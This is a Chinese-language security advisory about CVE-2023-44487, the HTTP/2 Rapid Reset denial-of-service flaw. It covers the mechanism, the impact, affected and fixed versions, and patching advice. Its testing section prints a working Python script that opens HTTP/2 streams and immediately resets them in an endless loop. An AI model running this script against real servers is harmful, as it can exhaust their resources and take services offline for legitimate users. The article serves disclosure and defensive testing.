您的位置: 新闻资讯 > 行业动态 > 正文

CVE-2023-44487 - HTTP/2 Rapid Reset:网络安全的新挑战


来源:mozhe 2024-08-28

HTTP/2 协议在网络通信中占据着至关重要的地位。它作为 HTTP/1.1 的升级版本,通过采用二进制协议、多路复用技术、头部压缩等特性,极大地提升了网页加载速度和性能,减少了延迟,为用户带来了更流畅的网络体验。
然而,CVE-2023-44487 漏洞的出现给 HTTP/2 协议的应用带来了严重的安全威胁。该漏洞是在网络安全监测过程中被发现的。随着互联网的快速发展,网络攻击手段日益复杂多样,对于网络协议的安全性要求也越来越高。在这样的背景下,CVE-2023-44487 漏洞的发现引起了广泛的关注。
此漏洞的基本情况是,恶意攻击者能够通过打开多个请求流并立即发送 RST_STREAM 帧来取消请求,从而绕过并发流的限制,导致服务器资源快速消耗。这种攻击方式可能使服务器陷入资源耗尽的困境,无法正常处理合法用户的请求,进而影响服务的可用性和稳定性。
综上所述,了解 CVE-2023-44487 漏洞的发现背景和基本情况,对于采取有效的防范措施和保障网络通信的安全至关重要。

二、漏洞原理剖析

(一)HTTP/2 协议的特点与更新


HTTP/2 协议相比 HTTP/1.1 有诸多显著的改进。在连接方面,HTTP/2 实现了在单连接上的多路复用,这意味着可以同时通过单个连接发送多个请求和响应,大大提高了传输效率,避免了 HTTP/1.1 中因串行请求导致的等待时间。
同时,HTTP/2 采用了二进制格式进行数据传输,与 HTTP/1.1 的纯文本格式相比,更便于计算机直接解析,减少了处理时间。
此外,头部压缩也是 HTTP/2 的一大特色。通过使用特定的算法对请求和响应的头部进行压缩,减少了数据量,节省了带宽。

(二)Rapid Reset 漏洞机制


Rapid Reset 漏洞的产生与 HTTP/2 中的 SETTINGS 帧和 RST_STREAM 帧密切相关。SETTINGS 帧用于协商连接的参数,而 RST_STREAM 帧则用于指示服务器取消之前的流。
在正常情况下,这些帧都有其特定的用途和规则。然而,攻击者恶意滥用了 RST_STREAM 帧,通过在短时间内大量发送这些帧,并结合其他手段,绕过了正常的并发流限制。
攻击者利用这一漏洞,一次打开大量流,但不等待服务器响应,而是立即取消每个请求。这种恶意行为导致服务器的 CPU 资源被迅速消耗,使服务器无法正常处理合法用户的请求,最终造成服务器拒绝服务。

三、漏洞的影响与危害

(一)对服务器的冲击


CVE-2023-44487 漏洞对服务器的冲击是巨大且直接的。当攻击者利用该漏洞发起快速重置攻击时,服务器会在短时间内接收到大量的异常请求流。由于每个请求流都需要服务器分配一定的资源进行处理,而攻击者迅速取消这些请求,使得服务器在资源分配与回收之间陷入混乱。
这会导致服务器的 CPU 资源被大量占用,内存消耗急剧增加,网络带宽也被大量无效的请求所占据。正常请求无法得到及时处理,处理速度大幅下降,甚至出现服务器崩溃、服务中断的情况。
服务器的稳定性和性能受到严重影响,可能需要较长时间才能恢复正常运行,给服务器的运维和管理带来极大的困难和压力。

(二)潜在的业务风险


此漏洞给使用相关协议的业务带来了诸多潜在风险。首先,业务可能因服务器拒绝服务而中断,导致用户无法正常访问和使用相关服务,如在线购物网站无法下单、在线支付系统无法完成交易等,直接影响业务收入和用户满意度。
其次,数据的完整性和安全性也面临威胁。在服务器资源耗尽、服务混乱的情况下,可能会出现数据丢失、数据错误等问题,影响业务的正常运营和决策。
对于依赖网络服务的企业来说,声誉可能受损,用户对其信任度降低,进而导致用户流失。此外,修复漏洞和恢复业务可能需要投入大量的人力、物力和时间,增加了企业的运营成本。
在竞争激烈的市场环境中,业务的短暂中断可能会被竞争对手利用,从而失去市场份额,对企业的长期发展造成不利影响。

四、受影响的版本与组件

(一)广泛受影响的范围


以下是一些广泛受影响的组件及其具体版本:
  • Netty:Netty < 4.1.100.Final
  • Go:Go < 1.21.3、1.20.10
  • Apache Tomcat:11.0.0-M1 <= Apache Tomcat <= 11.0.0-M11、10.1.0-M1 <= Apache Tomcat <= 10.1.13、9.0.0-M1 <= Apache Tomcat <= 9.0.80、8.5.0 <= Apache Tomcat <= 8.5.93
  • grpc-go:grpc-go < 1.58.3、1.57.1、1.56.3
  • jetty:jetty < 12.0.2、10.0.17、11.0.17、9.4.53.v20231009
  • nghttp2:nghttp2 < v1.57.0
  • Apache Traffic Server:8.0.0 <= Apache Traffic Server <= 8.1.8、9.0.0 <= Apache Traffic Server <= 9.2.2

(二)安全版本及更新


为了确保系统的安全性,以下是相应组件的安全版本:
  • Netty:Netty >= 4.1.100.Final
  • Go:Go >= 1.21.3、1.20.10
  • Apache Tomcat:Apache Tomcat >= 11.0.0-M12、10.1.14、9.0.81、8.5.94
  • grpc-go:grpc-go >= 1.58.3、1.57.1、1.56.3
  • jetty:jetty >= 12.0.2、10.0.17、11.0.17、9.4.53.v20231009
  • nghttp2:nghttp2 >= v1.57.0
  • Apache Traffic Server:Apache Traffic Server >= 8.1.9、9.2.3
建议用户及时评估业务是否受 HTTP/2 协议影响,酌情将受影响的组件升级至相应的安全版本,以降低潜在的安全风险。

五、漏洞的预防与应对

(一)遵循供应商建议


供应商在网络安全领域通常具有丰富的经验和专业知识。他们对所提供的产品或服务的特性、潜在风险以及解决方案有着深入的了解。因此,遵循供应商发布的更新和安全建议至关重要。供应商能够根据对漏洞的研究和分析,提供针对性的措施和指导,帮助用户有效地防范潜在的威胁。忽视供应商的建议可能会导致用户在面对漏洞攻击时处于被动地位,增加系统被入侵和数据泄露的风险。

(二)及时进行更新


及时更新相关组件是修复 CVE-2023-44487 漏洞的关键。用户应密切关注供应商发布的更新补丁,并尽快将受影响的组件升级到最新的安全版本。对于一些关键的组件,如 Netty、Go、Apache Tomcat 等,要确保及时获取并安装最新的更新。在更新过程中,可以采用自动化的更新工具或系统,以提高效率和准确性。同时,在更新之前,建议先备份重要的数据和配置信息,以防更新过程中出现意外情况导致数据丢失或系统故障。此外,还需要对更新后的组件进行测试和验证,确保其正常运行且没有引入新的问题。

六、漏洞验证与测试

(一)编写 Python 代码


以下是一段用于漏洞验证和测试的 Python 代码示例:

 
import socket
import ssl
import certifi
import h2.connection
import h2.events
SERVER_NAME = '127.0.0.1'
SERVER_PORT = 443
# 通用的套接字和 SSL 配置
socket.setdefaulttimeout(15)
ctx = ssl.create_default_context(cafile=certifi.where())
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_alpn_protocols(['h2'])
# 打开与服务器的套接字并启动 TLS/SSL
s = socket.create_connection((SERVER_NAME, SERVER_PORT))
s = ctx.wrap_socket(s, server_hostname=SERVER_NAME)
c = h2.connection.H2Connection()
c.initiate_connection()
s.sendall(c.data_to_send())
headers = [(':method', 'GET'),(':path', '/'),(':authority', SERVER_NAME),]
while True:
stream_id = c.get_next_available_stream_id()
print(stream_id)
c.send_headers(stream_id, headers, end_stream=True)
s.sendall(c.data_to_send())
c.reset_stream(stream_id)
s.sendall(c.data_to_send())
# 告知服务器关闭 h2 连接
c.close_connection()
s.sendall(c.data_to_send())
# 关闭套接字
s.close()
这段代码不断发送 HEADERS 帧和 RST_STREAM 帧序列,从而对漏洞进行测试。

(二)环境搭建


在进行漏洞验证和测试之前,需要在本地或者云环境中搭建相应的服务器环境,并确保支持 HTTP/2 协议。以下是大致的操作步骤:
  1. 选择合适的服务器软件,如 Nginx 等,并按照其文档进行安装和配置。
  1. 启用 HTTP/2 协议的相关设置。
  1. 配置服务器的安全设置,如 SSL 证书等。

(三)测试操作


搭建好环境后,运行上述 Python 代码,观察服务器的负载情况。如果服务器负载快速增加,并且出现明显卡顿,说明漏洞可能存在。同时,需要注意在测试过程中遵循法律法规和道德规范,确保测试行为合法合规。

七、未来展望

(一)对网络安全领域的启示


CVE-2023-44487 漏洞的出现为网络安全领域带来了诸多重要的启示。首先,它凸显了网络协议在不断演进和优化过程中可能产生的新风险。网络协议的更新虽然旨在提升性能和效率,但也可能引入未曾预料的安全漏洞,这提醒我们在推动技术发展的同时,必须将安全置于首要位置,进行全面且深入的安全评估。
其次,该漏洞暴露了对于新兴攻击手段的监测和应对能力的不足。这要求网络安全行业加强对潜在攻击模式的研究和预测,及时更新防护策略和检测技术,以应对不断变化的威胁态势。
再者,此次漏洞事件强调了跨领域合作的重要性。网络安全不再仅仅是技术专家的责任,还需要软件开发人员、供应商、运维人员等各方紧密协作,形成全方位的防护体系。

(二)对未来类似漏洞防范的思考


针对未来可能出现的类似漏洞,我们应采取更加主动和预防性的措施。一方面,在协议设计阶段,引入安全专家的参与,从源头上减少漏洞产生的可能性。另一方面,加强对关键基础设施和重要业务系统的实时监测和预警机制,及时发现异常流量和潜在的攻击行为。
同时,持续提升用户的安全意识也至关重要。用户应了解常见的网络攻击手段和防范方法,避免成为攻击的突破口。此外,鼓励安全研究人员和社区积极参与漏洞的发现和披露,建立健全的漏洞奖励机制,共同维护网络空间的安全。
总之,CVE-2023-44487 漏洞为我们敲响了警钟,促使我们在未来的网络安全工作中不断改进和完善防范措施,以应对日益复杂和严峻的网络安全挑战。

热门文章

X

7x24 小时

免费技术支持

15625276999


-->